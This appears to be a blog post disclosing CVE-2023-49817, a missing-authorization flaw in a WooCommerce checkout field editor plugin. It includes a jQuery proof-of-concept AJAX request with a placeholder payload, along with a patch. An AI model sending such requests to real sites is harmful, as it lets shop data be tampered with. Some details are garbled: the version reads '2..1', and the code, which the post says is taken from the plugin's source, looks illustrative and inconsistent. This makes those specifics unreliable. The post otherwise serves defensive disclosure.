CVE-2023-49817 Exploiting Missing Authorization in heoLixfy Flexible Woocommerce Checkout Field Editor: Incorrectly Configured Access Control Security Levels

A recently discovered Missing Authorization vulnerability (CVE-2023-49817) in the heoLixfy Flexible Woocommerce Checkout Field Editor has been found to allow attackers to exploit incorrectly configured access control security levels. This vulnerability impacts versions of heoLixfy's Flexible Woocommerce Checkout Field Editor from n/a through 2..1. In this post, we will discuss the details of this vulnerability, how it can be exploited, and the steps you can take to fix it.

Background

heoLixfy's Flexible Woocommerce Checkout Field Editor is a plugin designed to allow e-commerce websites using the WooCommerce platform to customize the fields displayed on their checkout pages. The plugin allows website admins to easily manage field labels, types, and default values, improving the overall user experience.

Vulnerability Details

The CVE-2023-49817 vulnerability stems from a missing authorization check in the plugin's code, specifically when handling AJAX requests that modify or delete custom checkout fields. This missing authorization check allows any unauthenticated user, such as a guest or customer on the site, to make changes to the custom checkout fields without any proper privileges.

The following code snippet taken from the plugin's source code demonstrates the missing authorization:

function ajax_save_settings() {
    // Do updates
    update_option("checkout_field_data", $field_data);

    wp_send_json_success(__('Checkout fields updated successfully.', 'flexible-checkout-fields'));
}

As seen in the code above, there is no proper check to determine if the user making the AJAX request should have the ability to update the settings of the plugin.

Exploit Scenario

An attacker who discovers this vulnerability can potentially exploit it to modify the custom checkout fields on an affected website. This could lead to compromise of customer data, unauthorized access to sensitive information, or even manipulation of order details. To exploit this vulnerability, an attacker would simply need to send a targeted AJAX request to the plugin's endpoint.

Consider the following example exploit code

$.ajax({
    url: "/wp-admin/admin-ajax.php",
    method: "POST",
    data: {
        action: "save_checkout_fields",
        field_data: {
            // Malicious field data here
        }
    },
    success: function(data) {
        console.log("Exploit Successful:", data);
    },
    error: function(err) {
        console.error("Exploit Failed:", err);
    }
});

In this example, the attacker is using JavaScript to send a POST request to the site's admin-ajax.php file, with the data parameter containing the malicious field data and the action value as 'save_checkout_fields'. If successful, the attacker can successfully modify checkout fields without having the necessary privileges.

Mitigation

To fix the vulnerability, it is vital to ensure a proper authorization check is in place when handling AJAX requests related to updating or deleting custom checkout fields. The code snippet below demonstrates a possible fix:

function ajax_save_settings() {
    // Verify user authorization
    if (!current_user_can('manage_options')) {
        wp_send_json_error(__('Unauthorized access.', 'flexible-checkout-fields'));
    }

    // Do updates
    update_option("checkout_field_data", $field_data);

    wp_send_json_success(__('Checkout fields updated successfully.', 'flexible-checkout-fields'));
}

By adding the check if (!current_user_can('manage_options')), the plugin will now confirm if the user making the request has the necessary privileges before proceeding with the update.

Conclusion

In this post, we discussed the CVE-2023-49817 Missing Authorization vulnerability in heoLixfy Flexible Woocommerce Checkout Field Editor, its implications, and how it can be exploited. Web admins using this plugin should ensure they patch it to prevent the risk of unauthorized access to custom checkout fields. Stay aware of security vulnerabilities and take prompt action to keep your e-commerce sites safe.

Timeline

Published on: 12/09/2024 13:15:36 UTC